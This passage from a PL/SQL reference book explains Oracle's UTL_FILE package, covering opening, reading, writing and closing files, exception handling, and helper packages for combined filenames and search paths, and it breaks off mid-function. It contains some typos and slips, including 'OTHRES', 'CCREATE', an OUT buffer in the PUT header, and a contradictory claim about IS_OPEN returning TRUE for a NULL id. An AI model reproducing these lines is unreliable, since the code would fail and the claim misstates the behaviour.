Open the file to read and write in append mode. When you open in append mode, all existing lines in the file are kept intact. New lines will be appended after the last line in the file. If you use this mode, then you can use any of the following UTL_FILE programs to modify the file: PUT, PUT_LINE, NEW_LINE, PUTF, and fFFLUSH.

Keep the following points in mind as you attempt to open files:

  • The file location and the filename joined together must represent a legal filename on your operating system.

  • The file location specified must be accessible and must already exist; FOPEN will not create a directory or subdirectory for you in order to write a new file, for example.

  • If you want to open a file for read access, the file must already exist. If you want to open a file for write access, the file will either be created, if it does not exist, or emptied of all its contents, if it does exist.

  • If you try to open with append, the file must already exist. UTL_FILE will not treat your append request like a write access request. If the file is not present, UTL_FILE will raise the INVALID_OPERATION exception.

6.2.2.1.1 Exceptions

FOPEN may raise any of the following exceptions, described earlier:

UTL_FILE.INVALID_MODE
UTL_FILE.INVALID_OPERATION
UTL_FILE.INVALID_PATH
UTL_FILE.INVALID_MAXLINESIZE

6.2.2.1.2 Example

The following example shows how to declare a file handle and then open a configuration file for that handle in read-only mode:

DECLARE
       config_file UTL_FILE.FILE_TYPE;
BEGIN
       config_file := UTL_FILE.FOPEN ('/maint/admin', 'config.txt', 'R');
       ...

6.2.2.2 The UTL_FILE.IS_OPEN function

The IS_OPEN function returns TRUE if the specified handle points to a file that is already open. Otherwise, it returns false. The header for the function is:

FUNCTION UTL_FILE.IS_OPEN (file IN UTL_FILE.FILE_TYPE) RETURN BOOLEAN;

where file is the file to be checked.

Within the context of UTL_FILE, it is important to know what this means. The IS_OPEN function does not perform any operating system checks on the status of the file. In actuality, it merely checks to see if the id field of the file handle record is not NULL. If you don't play around with these records and their contents, then this id field is only set to a non-NULL value when you call FOPEN. It is set back to NULL when you call FCLOSE.

6.2.3 Reading from Files

UTL_FILE provides only one program to retrieve data from a file: the GET_LINE procedure.

6.2.3.1 The UTL_FILE.GET_LINE procedure

The GET_LINE procedure reads a line of data from the specified file, if it is open, into the provided line buffer. Here's the header for the procedure:

PROCEDURE UTL_FILE.GET_LINE
   (file IN UTL_FILE.FILE_TYPE,
    buffer OUT VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
file | The file handle returned by a call to FOPEN
buffer | The buffer into which the line of data is read

The variable specified for the buffer parameter must be large enough to hold all the data up to the next carriage return or end-of-file condition in the file. If not, PL/SQL will raise the VALUE_ERROR exception. The line terminator character is not included in the string passed into the buffer.

6.2.3.1.1 Exceptions

GET_LINE may raise any of the following exceptions:

NO_DATA_FOUND
VALUE_ERROR
UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.INVALID_OPERATION
UTL_FILE.READ_ERROR

6.2.3.1.2 Example

Since GET_LINE reads data only into a string variable, you will have to perform your own conversions to local variables of the appropriate datatype if your file holds numbers or dates. Of course, you could call this procedure and read data directly into string and numeric variables as well. In this case, PL/SQL will be performing a runtime, implicit conversion for you. In many situations, this is fine. I generally recommend that you avoid implicit conversions and perform your own conversion instead. This approach more clearly documents the steps and dependencies. Here is an example:

   fileID UTL_FILE.FILE_TYPE;
   strbuffer VARCHAR2(100);
   mynum NUMBER;
BEGIN
   fileID := UTL_FILE.FOPEN ('/tmp', 'numlist.txt', 'R');
   UTL_FILE.GET_LINE (fileID, strbuffer);
   mynum := TO_NUMBER (strbuffer);
END;
/

When GET_LINE attempts to read past the end of the file, the NO_DATA_FOUND exception is raised. This is the same exception that is raised when you (a) execute an implicit (SELECT INTO) cursor that returns no rows or (b) reference an undefined row of a PL/SQL (nested in PL/SQL8) table. If you are performing more than one of these operations in the same PL/SQL block, remember that this same exception can be caused by very different parts of your program.

6.2.4 Writing to Files

In contrast to the simplicity of reading from a file, UTL_FILE offers a number of different procedures you can use to write to a file:

UTL_FILE.PUT

Puts a piece of data (string, number, or date) into a file in the current line.

UTL_FILE.NEW_LINE

Puts a newline or line termination character into the file at the current position.

UTL_FILE.PUT_LINE

Puts a string into a file, followed by a platform-specific line termination character.

UTL_FILE.PUTF

Puts up to five strings out to the file in a format based on a template string, similar to the printf function in C.

You can use these procedures only if you have opened your file with modes W or A; if you opened the file for read-only, the runtime engine will raise the UTL_FILE.INVALID_OPERATION exception.

Starting with Oracle 8.0.3, the maximum size of a file string is 32K; the limit for earlier versions is 1023 bytes. If you have longer strings, you must break them up into individual lines, perhaps using a special continuation character to notify a post-processor to recombine those lines.

6.2.4.1 The UTL_FILE.PUT procedure

The PUT procedure puts data out to the specified open file. Here's the header for this procedure:

PROCEDURE UTL_FILE.PUT
    (file IN UTL_FILE.FILE_TYPE,
    buffer OUT VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
file | The file handle returned by a call to FOPEN
buffer | The buffer containing the text to be written to the file; maximum size allowed is 32K for Oracle 8.0.3 and above; for earlier versions, it is 1023 bytes

The PUT procedure adds the data to the current line in the opened file, but does not append a line terminator. You must use the NEW_LINE procedure to terminate the current line or use PUT_LINE to write out a complete line with a line termination character.

6.2.4.1.1 Exceptions

PUT may raise any of the following exceptions:

UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.INVALID_OPERATION
UTL_FILE.WRITE_ERROR

6.2.4.2 The UTL_FILE.NEW_LINE procedure

The NEW_LINE procedure inserts one or more newline characters in the specified file. Here's the header for the procedure:

PROCEDURE UTL_FILE.NEW_LINE
   (file IN UTL_FILE.FILE_TYPE,
    lines IN NATURAL := 1);

Parameters are summarized in the following table.

Parameter | Description
file | The file handle returned by a call to FOPEN
lines | Number of lines to be inserted into the file

If you do not specify a number of lines, NEW_LINE uses the default value of 1, which places a newline character (carriage return) at the end of the current line. So if you want to insert a blank line in your file, execute the following call to NEW_LINE:

UTL_FILE.NEW_LINE (my_file, 2);

If you pass 0 or a negative number for lines, nothing is written into the file.

6.2.4.2.1 Exceptions

NEW_LINE may raise any of the following exceptions:

VALUE_ERROR
UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.INVALID_OPERATION
UTL_FILE.WRITE_ERROR

6.2.4.2.2 Example

If you frequently wish to add an end-of-line marker after you PUT data out to the file (see the PUT procedure information), you might bundle two calls to UTL_FILE modules together, as follows:

PROCEDURE add_line (file_in IN UTL_FILE.FILE_TYPE, line_in IN VARCHAR2)
IS
BEGIN
   UTL_FILE.PUT (file_in, line_in);
   UTL_FILE.NEW_LINE (file_in);
END;

By using add_line instead of PUT, you will not have to worry about remembering to call NEW_LINE to finish off the line. Of course, you could also simply call the PUT_LINE procedure.

6.2.4.3 The UTL_FILE.PUT_LINE procedure

This procedure writes data to a file and then immediately appends a newline character after the text. Here's the header for PUT_LINE:

PROCEDURE UTL_FILE.PUT_LINE
    (file IN UTL_FILE.FILE_TYPE,
    buffer IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
file | The file handle returned by a call to FOPEN
buffer | Text to be written to the file; maximum size allowed is 32K for Oracle 8.0. 3 and above; for earlier versions, it is 1023 bytes

Before you can call UTL_FILE.PUT_LINE, you must have already opened the file.

6.2.4.3.1 Exceptions

PUT_LINE may raise any of the following exceptions:

UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.INVALID_OPERATION
UTL_FILE.WRITE_ERROR

6.2.4.3.2 Example

Here is an example of using PUT_LINE to dump the contents of the emp table to a file:

PROCEDURE emp2file
IS
   fileID UTL_FILE.FILE_TYPE;
BEGIN
   fileID := UTL_FILE.FOPEN ('/tmp', 'emp.dat', 'W');

   /* Quick and dirty construction here! */
   FOR emprec IN (SELECT * FROM emp)
   LOOP
      UTL_FILE.PUT_LINE
         (TO_CHAR (emprec.empno) || ',' ||
          emprec.ename || ',' ||
          ...
          TO_CHAR (emprec.deptno));
   END LOOP;

   UTL_FILE.FCLOSE (fileID);
END;

A call to PUT_LINE is equivalent to a call to PUT followed by a call to NEW_LINE. It is also equivalent to a call to PUTF with a format string of "%s\n" (see the description of PUTF in the next section).

6.2.4.4 The UTL_FILE.PUTF procedure

Like PUT, PUTF puts data into a file, but it uses a message format (hence, the "F" in "PUTF") to interpret the different elements to be placed in the file. You can pass between one and five different items of data to PUTF. Here's the specification:

PROCEDURE UTL_FILE.PUTF
    (file IN FILE_TYPE
    ,format IN VARCHAR2
    ,arg1 IN VARCHAR2 DEFAULT NULL
    ,arg2 IN VARCHAR2 DEFAULT NULL
    ,arg3 IN VARCHAR2 DEFAULT NULL
    ,arg4 IN VARCHAR2 DEFAULT NULL
    ,arg5 IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Parameter | Description
file | The file handle returned by a call to FOPEN
format | The string that determines the format of the items in the file; see the following options
argN | An optional argument string; up to five may be specified

The format string allows you to substitute the argN values directly into the text written to the file. In addition to "boilerplate" or literal text, the format string may contain the following patterns:

%s

Directs PUTF to put the corresponding item in the file. You can have up to five %s patterns in the format string, since PUTF will take up to five items.

\n

Directs PUTF to put a newline character in the file. There is no limit to the number of \n patterns you may include in a format string.

The %s formatters are replaced by the argument strings in the order provided. If you do not pass in enough values to replace all of the formatters, then the %s is simply removed from the string before writing it to the file.

6.2.4.4.1 Exceptions

UTL_FILE.PUTF may raise any of the following exceptions:

UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.INVALID_OPERATION
UTL_FILE.WRITE_ERROR

6.2.4.4.2 Example

The following example illustrates how to use the format string. Suppose you want the contents of the file to look like this:

Employee: Steven Feuerstein
Soc Sec #: 123-45-5678
Salary: $1000

This single call to PUTF will accomplish the task:

UTL_FILE.PUTF
   (file_handle, 'Employee: %s\nSoc Sec #: %s\nSalary: %s',
    'Steven Feuerstein',
    '123-45-5678',
    TO_CHAR (:employee.salary, '$9999'));

If you need to write out more than five items of data, you can simply call PUTF twice consecutively to finish the job, as shown here:

UTL_FILE.PUTF
   (file_handle, '%s\n%s\n%s\n%s\n%s\n',
    TO_DATE (SYSDATE, 'MM/DD/YYYY'),
    TO_CHAR (:pet.pet_id),
    :pet.name,
    TO_DATE (:pet.birth_date, 'MM/DD/YYYY'),
    :pet.owner);

UTL_FILE.PUTF
   (file_handle, '%s\n%s\n',
    :pet.bites_mailperson,
    :pet.does_tricks);

6.2.4.5 The UTL_FILE.FFLUSH procedure

This procedure makes sure that all pending data for the specified file is written physically out to a file. The header for FFLUSH is,

PROCEDURE UTL_FILE.FFLUSH (file IN UTL_FILE.FILE_TYPE);

where file is the file handle.

Your operating system probably buffers physical I/O to improve performance. As a consequence, your program may have called one of the "put" procedures, but when you look at the file, you won't see your data. UTL_FILE.FFLUSH comes in handy when you want to read the contents of a file before you have closed that file. Typical scenarios include analyzing execution trace and debugging logs.

6.2.4.5.1 Exceptions

FFLUSH may raise any of the following exceptions:

UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.INVALID_OPERATION
UTL_FILE.WRITE_ERROR

6.2.5 Closing Files

Use the FCLOSE and FCLOSE_ALL procedures in closing files.

6.2.5.1 The UTL_FILE.FCLOSE procedure

Use FCLOSE to close an open file. The header for this procedure is,

PROCEDURE UTL_FILE.FCLOSE (file IN OUT FILE_TYPE);

where file is the file handle.

Notice that the argument to UTL_FILE.FCLOSE is an IN OUT parameter, because the procedure sets the id field of the record to NULL after the file is closed.

If there is buffered data that has not yet been written to the file when you try to close it, UTL_FILE will raise the WRITE_ERROR exception.

6.2.5.1.1 Exceptions

FCLOSE may raise any of the following exceptions:

UTL_FILE.INVALID_FILEHANDLE
UTL_FILE.WRITE_ERROR

6.2.5.2 The UTL_FILE.FCLOSE_ALL procedure

FCLOSE_ALL closes all of the opened files. The header for this procedure follows:

PROCEDURE UTL_FILE.FCLOSE_ALL;

This procedure will come in handy when you have opened a variety of files and want to make sure that none of them are left open when your program terminates.

In programs in which files have been opened, you should also call FCLOSE_ALL in exception handlers in programs. If there is an abnormal termination of the program, files will then still be closed.

EXCEPTION
   WHEN OTHERS

THEN
      UTL_FILE.FCLOSE_ALL;
      ... other clean up activities ...
END;

NOTE: When you close your files with the FCLOSE_ALL procedure, none of your file handles will be marked as closed (the id field, in other words, will still be non-NULL). The result is that any calls to IS_OPEN for those file handles will still return TRUE. You will not, however, be able to perform any read or write operations on those files (unless you reopen them).

6.2.5.2.1 Exceptions

FCLOSE_ALL may raise the following exception:

UTL_FILE.WRITE_ERROR

6.2.6 Tips on Using UTL_FILE

This section contains a variety of tips on using UTL_FILE to its full potential.

6.2.6.1 Handling file I/O errors

You may encounter a number of difficulties (and therefore raise exceptions) when working with operating system files. The good news is that Oracle has predefined a set of exceptions specific to the UTL_FILE package, such as UTL_FILE.INVALID_FILEHANDLE. The bad news is that these are all "user-defined exceptions," meaning that if you call SQLCODE to see what the error is, you get a value of 1, regardless of the exception. And a call to SQLERRM returns the less-than-useful string "User-Defined Exception."

To understand the problems this causes, consider the following program:

PROCEDURE file_action
IS
   fileID UTL_FILE.FILE_TYPE;
BEGIN
   fileID := UTL_FILE.FOPEN ('c:/tmp', 'lotsa.stf', 'R');
   UTL_FILE.PUT_LINE (fileID, 'just the beginning');
   UTL_FILE.FCLOSE (fileID);
END;

It is filled with errors, as you can see when I try to execute the program:

SQL> exec file_action
declare
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "SYS.UTL_FILE", line 91
ORA-06512: at "SYS.UTL_FILE", line 146
ORA-06512: at line 4

But what error or errors? Notice that the only information you get is that it was an "unhandled user-defined exception" -- even though Oracle defined the exception!

The bottom line is that if you want to get more information out of the UTL_FILE-related errors in your code, you need to add exception handlers designed explicitly to trap UTL_FILE exceptions and tell you which one was raised. The following template exception section offers that capability. It includes an exception handler for each UTL_FILE exception. The handler writes out the name of the exception and then reraises the exception.

/* Filename on companion disk: fileexc.sql */*
EXCEPTION
   WHEN UTL_FILE.INVALID_PATH
   THEN
       DBMS_OUTPUT.PUT_LINE ('invalid_path'); RAISE;

   WHEN UTL_FILE.INVALID_MODE
   THEN
       DBMS_OUTPUT.PUT_LINE ('invalid_mode'); RAISE;

   WHEN UTL_FILE.INVALID_FILEHANDLE
   THEN
       DBMS_OUTPUT.PUT_LINE ('invalid_filehandle'); RAISE;

   WHEN UTL_FILE.INVALID_OPERATION
   THEN
       DBMS_OUTPUT.PUT_LINE ('invalid_operation'); RAISE;

   WHEN UTL_FILE.READ_ERROR
   THEN
       DBMS_OUTPUT.PUT_LINE ('read_error'); RAISE;

   WHEN UTL_FILE.WRITE_ERROR
   THEN
      DBMS_OUTPUT.PUT_LINE ('write_error'); RAISE;

   WHEN UTL_FILE.INTERNAL_ERROR
   THEN
      DBMS_OUTPUT.PUT_LINE ('internal_error'); RAISE;
END;

If I add this exception section to my file_action procedure, I get this message,

SQL> @temp
invalid_operation
declare
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception

which helps me realize that I am trying to write to a read-only file. So I change the file mode to "W" and try again, only to receive the same error again! Additional analysis reveals that my file location is not valid. It should be "C:\temp" instead of "C:/tmp". So why didn't I get a UTL_FILE.INVALID_PATH exception? Who is to say? With those two changes made, file_action then ran without error.

I suggest that whenever you work with UTL_FILE programs, you include either all or the relevant part of fileexc.sql. (See each program description earlier in this chapter to find out which exceptions each program might raise.) Of course, you might want to change my template. You may not want to reraise the exception. You may want to display other information. Change whatever you need to change -- just remember the basic rule that if you don't handle the UTL_FILE exception by name in the block in which the error was raised, you won't be able to tell what went wrong.

6.2.6.2 Closing unclosed files

As a corollary to the last section on handling I/O errors, you must be very careful to close files when you are done working with them, or when errors occur in your program. If not, you may sometimes have to resort to UTL_FILE.FCLOSE_ALL to close all your files before you can get your programs to work properly.

Suppose you open a file (and get a handle to that file) and then your program hits an error and fails. Suppose further that you do not have an exception section, so the program simply fails. So let's say that you fix the bug and rerun the program. Now it fails with UTL_FILE.INVALID_OPERATION. The problem is that your file is still open -- and you have lost the handle to the file, so you cannot explicitly close just that one file.

Instead, you must now issue this command (here, from SQL*Plus):

SQL> exec UTL_FILE.FCLOSE_ALL

With any luck, you won't close files that you wanted to be left open in your session. As a consequence, I recommend that you always include calls to UTL_FILE.FCLOSE in each of your exception sections to avoid the need to call FCLOSE_ALL and to minimize extraneous INVALID_OPERATION exceptions.

Here is the kind of exception section you should consider including in your programs. (I use the PLVexc.recNstop handler from PL/Vision as an example of a high-level program to handle exceptions, in this case requesting that the program "record and then stop.")

EXCEPTION
   WHEN OTHRES
   THEN
      UTL_FILE.FCLOSE (ini_fileID);
      UTL_FILE.FCLOSE (new_fileID);
      PLVexc.recNstop;
END;

In other words, I close the two files I've been working with, and then handle the exception.

6.2.6.3 Combining locations and filenames

I wonder if anyone else out there in the PL/SQL world finds UTL_FILE as frustrating as I do. I am happy that Oracle built the package, but I sure wish they'd given us more to work with. I am bothered by these things:

  • The need to separate my filename from the location. Most of the time when I work with files, those two pieces are stuck together. With UTL_FILE, I have to split them apart.

  • The lack of support for paths. It would be nice to not have to provide a file location and just let UTL_FILE find my file for me.

This section shows you how to enhance UTL_FILE to allow you to pass in a "combo" filename: location and name joined together, as we so often encounter them. The next section explains the steps for adding path support to your manipulation of files with UTL_FILE.

If you are going to specify your file specification (location and name) in one string, what is the minimum information needed in order to separate these two elements to pass to FOPEN? The delimiter used to separate directories from filenames. In DOS (and Windows) that delimiter is "\". In UNIX it is "/". In VAX/VMS it is "]". Seems to me that I just have to find the last occurrence of this delimiter in your string and that will tell me where to break apart the string.

So to allow you to get around splitting up your file specification in your call to FOPEN, I can do the following:

  • Give you a way to tell me in advance the operating system delimiter for directories -- and store that value for use in future attempts to open files.

  • Offer you a substitute FOPEN procedure that uses that delimiter.

Since I want to store that value for your entire session, I will need a package. (You can also use a database table so that you do not have to specify this value each time you start up your application.) Here is the specification:

/* Filename on companion disk: onestring.spp */*
CREATE OR REPLACE PACKAGE fileIO
IS
   PROCEDURE setsepchar (str IN VARCHAR2);
   FUNCTION sepchar RETURN VARCHAR2;

   FUNCTION open (file IN VARCHAR2, filemode IN VARCHAR2)
      RETURN UTL_FILE.FILE_TYPE;
END;
/

In other words, I set the separation character or delimiter with a call to fileIO.setsepchar, and I can retrieve the current value with a call to the fileIO.sepchar function. Once I have that value, I can call fileIO.open to open a file without having to split apart the location and name. I show an example of this program in use here:

DECLARE
   fid UTL_FILE.FILE_TYPE;
BEGIN
   fileIO.setsepchar ('\');
   fid := fileio.open ('c:\temp\newone.txt', 'w'));
END;
/

The body of this package is quite straightforward:

CREATE OR REPLACE PACKAGE BODY fileIO
IS
   g_sepchar CHAR(1) := '/'; /* Unix is, after all, dominant. */

   PROCEDURE setsepchar (str IN VARCHAR2)
   IS
   BEGIN
      g_sepchar := NVL (str, '/');
   END;

   FUNCTION sepchar RETURN VARCHAR2
   IS
   BEGIN
      RETURN g_sepchar;
   END;

   FUNCTION open (file IN VARCHAR2, filemode IN VARCHAR2)
      RETURN UTL_FILE.FILE_TYPE
   IS
      v_loc PLS_INTEGER := INSTR (file, g_sepchar, -1);
      retval UTL_FILE.FILE_TYPE;
   BEGIN
      RETURN UTL_FILE.FOPEN
         (SUBSTR (file, 1, v_loc-1),
          SUBSTR (file, v_loc+1),
          filemode);
   END;
END;
/

Notice that when I call INSTR I pass -1 for the third argument. This negative value tells the built-in to scan from the end of string backwards to the first occurrence of the specified character.

6.2.6.4 Adding support for paths

Why should I have to provide the directory name for my file each time I call FOPEN to read that file? It would be so much easier to specify a path, a list of possible directories, and then just let UTL_FILE scan the different directories in the specified order until the file is found.

Even though the notion of a path is not built into UTL_FILE, it is easy to add this feature. The structure of the implementation is very similar to the package built to combine file locations and names. I will need a package to receive and store the path, or list of directories. I will need an alternative open procedure that uses the path instead of a provided location. Here is the package specification:

/* Filename on companion disk: filepath.spp */*
CREATE OR REPLACE PACKAGE fileIO
IS
   c_delim CHAR(1) := ';';

   PROCEDURE setpath (str IN VARCHAR2);
   FUNCTION path RETURN VARCHAR2;

   FUNCTION open (file IN VARCHAR2, filemode IN VARCHAR2)
      RETURN UTL_FILE.FILE_TYPE;
END;
/

I define the path delimiter as a constant so that a user of the package can see what he should use to separate different directories in his path. I provide a procedure to set the path and a function to get the path -- but the variable containing the path is hidden away in the package body to protect its integrity.

Before exploring the implementation of this package, let's see how you would use these programs. The following test script sets a path with two directories and then displays the first line of code in the file containing the previous package:

/* Filename on companion disk: filepath.tst */*
DECLARE
   fID UTL_FILE.FILE_TYPE;
   v_line VARCHAR2(2000);
BEGIN
   fileio.setpath ('c:\temp;d:\oreilly\builtins\code');
   fID := fileIO.open ('filepath.spp');
   UTL_FILE.GET_LINE (fID, v_line);
   DBMS_OUTPUT.PUT_LINE (v_line);
   UTL_FILE.FCLOSE (fID);
END;
/

I include a trace message in the package (commented out on the companion disk) so that we can watch the path-based open doing its work:

SQL> @filepath.tst
...looking in c:\temp
...looking in d:\oreilly\builtins\code
CREATE OR REPLACE PACKAGE fileIO

It's nice having programs do your work for you, isn't it? Here is the implementation of the fileIO package with path usage:

/* Filename on companion disk: filepath.spp */*
CREATE OR REPLACE PACKAGE BODY fileIO
IS
   g_path VARCHAR2(2000);

   PROCEDURE setpath (str IN VARCHAR2)
   IS
   BEGIN
      g_path := str;
   END;

   FUNCTION path RETURN VARCHAR2
   IS
   BEGIN
      RETURN g_path;
   END;

   FUNCTION open (file IN VARCHAR2, filemode IN VARCHAR2)
      RETURN UTL_FILE.FILE_TYPE
   IS
      /* Location of next path separator */
      v_lastsep PLS_INTEGER := 1;
      v_sep PLS_INTEGER := INSTR (g_path, c_delim);
      v_dir VARCHAR2(500);
      retval UTL_FILE.FILE_TYPE;
   BEGIN
      /* For each directory in the path, attempt to open the file. */
      LOOP
         BEGIN
            IF v_sep = 0
            THEN
               v_dir := SUBSTR (g_path, v_lastsep);
            ELSE
               v_dir := SUBSTR (g_path, v_lastsep, v_sep - v_lastsep);
            END IF;
            retval := UTL_FILE.FOPEN (v_dir, file, 'R');
            EXIT;
         EXCEPTION
            WHEN OTHERS
            THEN
               IF v_sep = 0
               THEN
                  RAISE;
               ELSE
                  v_lastsep := v_sep + 1;
                  v_sep := INSTR (g_path, c_delim, v_sep+1);
               END IF;
         END;
      END LOOP;
      RETURN retval;
   END;
END;
/

The logic in this fileio.open is a little bit complicated, because I need to parse the semicolon-delimited list. The v_sep variable contains the location in the path of the next delimiter. The v_lastsep variable contains the location of the last delimiter. I have to include special handling for recognizing when I am at the last directory in the path (v_sep equals 0). Notice that I do not hard-code the semi-colon into this program. Instead, I reference the c_delim constant.

The most important implementation detail is that I place the call to FOPEN inside a loop. With each iteration of the loop body, I extract a directory from the path. Once I have the next directory to search, I call the FOPEN function to see if I can read the file. If I am able to do so successfully, I will reach the next line of code inside my loop, which is an EXIT statement: I am done and can leave. This drops me down to the RETURN statement to send back the handle to the file.

If I am unable to read the file in that directory, UTL_FILE raises an exception. Notice that I have placed the entire body of my loop inside its own anonymous block. This allows me to trap the open failure and process it. If I am on my last directory (no more delimiters, as in v_sep equals 0), I will simply reraise the exception from UTL_FILE. This will cause the loop to terminate, and then end the function execution as well. Since the fileIO.open does not have its own exception section, the error will be propagated out of the function unhandled. Even with a path, I was unable to locate the file. If, however, there are more directories, I set my start and end points for the next SUBSTR from the path and go back to the top of the loop so that FOPEN can try again.

If you do decide to use utilities like the path-based open shown previously, you should consider the following:

  • Combine the logic in filepath.spp with onestring.spp (a version of open that lets you pass the location and name in a single string). I should be able to override the path by providing a location; the version shown in this section assumes that the filename never has a location in it.

  • Allow users to add a directory to the path without having to concatenate it to a string with a semicolon between them. Why not build a procedure called fileIO.adddir that does the work for the user and allows an application to modify the path at runtime?

6.2.6.5 You closed what?

You might run into some interesting behavior with the IS_OPEN function if you treat your file handles as variables. You are not likely to do this, but I did, so I thought I would pass on my findings to you.

In the following script, I define two file handles. I then open a file, assigning the handle record generated by FOPEN to fileID1. I immediately assign that record to fileID2. They now both have the same record contents. I then close the file by passing fileID2 to FCLOSE and check the status of the file afterwards. Finally, I assign a value of NULL to the id field of fileID1 and call IS_OPEN again.

DECLARE
   fileID1 UTL_FILE.FILE_TYPE;
   fileID2 UTL_FILE.FILE_TYPE;
BEGIN
   fileID1 := UTL_FILE.FOPEN ('c:\temp', 'newdata.txt', 'W');
   fileID2 := fileID1;
   UTL_FILE.FCLOSE (fileID2);

   IF UTL_FILE.IS_OPEN (fileid1)
   THEN
      DBMS_OUTPUT.PUT_LINE ('still open');
   END IF;

   fileid1.id := NULL;
   IF NOT UTL_FILE.IS_OPEN (fileid1)
   THEN
      DBMS_OUTPUT.PUT_LINE ('now closed');
   END IF;
END;
/

Let's run the script and check out the results:

SQL> @temp
still open
now closed

We can conclude from this test that the IS_OPEN function returns TRUE if the id field of a UTL_FILE.FILE_TYPE record is NULL. It doesn't check the status of the file with the operating system. It is a check totally internal to UTL_FILE.

This will not cause any problems as long as (a) you don't muck around with the id field of your file handle records and (b) you are consistent with your use of file handles. In other words, if you assign one file record to another, use that new record for all operations. Don't go back to using the original.

6.2.7 UTL_FILE Examples

So you've got a file (or a dozen files) out on disk, filled with all sorts of good information you want to access from your PL/SQL-based application. You will find yourself performing the same kinds of operations against those files over and over again.

After you work your way through this book, I hope that you will recognize almost without conscious thought that you do not want to repeatedly build the open, read, and close operations for each of these files, for each of the various recurring operations. Instead, you will instantly say to yourself, "Hot diggity! This is an opportunity to build a set of standard, generic modules that will help manage my files."

This section contains a few of my candidates for the first contributions to a UTL_FILE toolbox of utilities. I recommend that you consider building a single package to contain all of these utilities.[4]

[4] You will find an example of such a package in Chapter 13 of Advanced Oracle PL/SQL Programming with Packages.

6.2.7.1 Enhancing UTL_FILE.GET_LINE

The GET_LINE procedure is simple and straightforward. It gets the next line from the file. If the pointer to the file is already located at the last line of the file, UTL_FILE.GET_LINE does not return data, but instead raises the NO_DATA_FOUND exception. Whenever you write programs using GET_LINE, you will therefore need to handle this exception. Let's explore the different ways you can do this.

The following example uses a loop to read the contents of a file into a PL/SQL table (whose type definition, tabpkg.names_tabtype, has been declared previously):

/* Filename on companion disk: file2tab.sp */*
CREATE OR REPLACE PACKAGE tabpkg
IS
   TYPE names_tabtype IS TABLE OF VARCHAR2(100)
      INDEX BY BINARY_INTEGER;
END;
/
CREATE OR REPLACE PROCEDURE file_to_table
   (loc_in IN VARCHAR2, file_in IN VARCHAR2,
    table_in IN OUT tabpkg.names_tabtype)
IS
    /* Open file and get handle right in declaration */
    names_file UTL_FILE.FILE_TYPE := UTL_FILE.FOPEN (loc_in, file_in, 'R');
    /* Counter used to store the Nth name. */
    line_counter INTEGER := 1;
BEGIN
    LOOP
        UTL_FILE.GET_LINE (names_file, table_in(line_counter));
        line_counter := line_counter + 1;
    END LOOP;
EXCEPTION
    WHEN NO_DATA_FOUND
    THEN
        UTL_FILE.FCLOSE (names_file);
END;
/

The file_to_table procedure uses an infinite loop to read through the contents of the file. Notice that there is no EXIT statement within the loop to cause the loop to terminate. Instead I rely on the fact that the UTL_FILE package raises a NO_DATA_FOUND exception once it goes past the end-of-file marker and short-circuits the loop by transferring control to the exception section. The exception handler then traps that exception and closes the file.

I am not entirely comfortable with this approach. I don't like to code infinite loops without an EXIT statement; the termination condition is not structured into the loop itself. Furthermore, the end-of-file condition is not really an exception; every file, after all, must end at some point.

I believe that a better approach to handling the end-of-file condition is to build a layer of code around GET_LINE that immediately checks for end-of-file and returns a Boolean value (TRUE or FALSE). Theget_nextline procedure shown here embodies this principle.

/* Filename on companion disk: getnext.sp */*
PROCEDURE get_nextline
   (file_in IN UTL_FILE.FILE_TYPE,
    line_out OUT VARCHAR2,
    eof_out OUT BOOLEAN)
IS
BEGIN
   UTL_FILE.GET_LINE (file_in, line_out);
   eof_out := FALSE;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      line_out := NULL;
      eof_out  := TRUE;
END;

The get_nextline procedure accepts an already assigned file handle and returns two pieces of information: the line of text (if there is one) and a Boolean flag (set to TRUE if the end-of-file is reached, FALSE otherwise). Using get_nextline, I can now read through a file with a loop that has an EXIT statement.

My file_to_table procedure will look like the following after adding get_nextline:

/* Filename on companion disk: fil2tab2.sp */*
PROCEDURE file_to_table
   (loc_in IN VARCHAR2, file_in IN VARCHAR2,
   table_in IN OUT names_tabtype)
IS
   /* Open file and get handle right in declaration */
   names_file CONSTANT UTL_FILE.FILE_TYPE :=
      UTL_FILE.FOPEN (loc_in, file_in, 'R');

   /* counter used to create the Nth name. */
   line_counter INTEGER := 1;

   end_of_file BOOLEAN := FALSE;
BEGIN
   WHILE NOT end_of_file
   LOOP
      get_nextline (names_file, table_in(line_counter), end_of_file);
      line_counter := line_counter + 1;
   END LOOP;
   UTL_FILE.FCLOSE (names_file);
END;

With get_nextline, I no longer treat end-of-file as an exception. I read a line from the file until I am done, and then I close the file and exit. This is, I believe, a more straightforward and easily understood program.

6.2.7.2 Creating a file

A common way to use files does not involve the contents of the file as much as a confirmation that the file does in fact exist. You can use the two modules defined next to create a file and then check to see if that file exists. Notice that when I create a file in this type of situation, I do not even bother to return the handle to the file. The purpose of the first program, create_file, is simply to make sure that a file with the specified name (and optional line of text) is out there on disk.

/* Filename on companion disk: crefile.sp */*
PROCEDURE create_file
   (loc_in IN VARCHAR2, file_in IN VARCHAR2, line_in IN VARCHAR2 := NULL)
IS
   file_handle UTL_FILE.FILE_TYPE;
BEGIN
   /*
   || Open the file, write a single line and close the file.
   */
   file_handle := UTL_FILE.FOPEN (loc_in, file_in, 'W');
   IF line_in IS NOT NULL
   THEN
      UTL_FILE.PUT_LINE (file_handle, line_in);
   ELSE
      UTL_FILE.PUT_LINE
         (file_handle, 'I make my disk light blink, therefore I am.');
   END IF;
   UTL_FILE.FCLOSE (file_handle);
END;

6.2.7.3 Testing for a file's existence

The second program checks to see if a file exists. Notice that it creates a local procedure to handle the close logic (which is called both in the body of the function and in the exception section).

/* Filename on companon disk: filexist.sf */*
CCREATE OR REPLACE FUNCTION file_exists
   (loc_in IN VARCHAR2,
    file_in IN VARCHAR2,
    close_in IN BOOLEAN := FALSE)
   RETURN BOOLEAN
IS
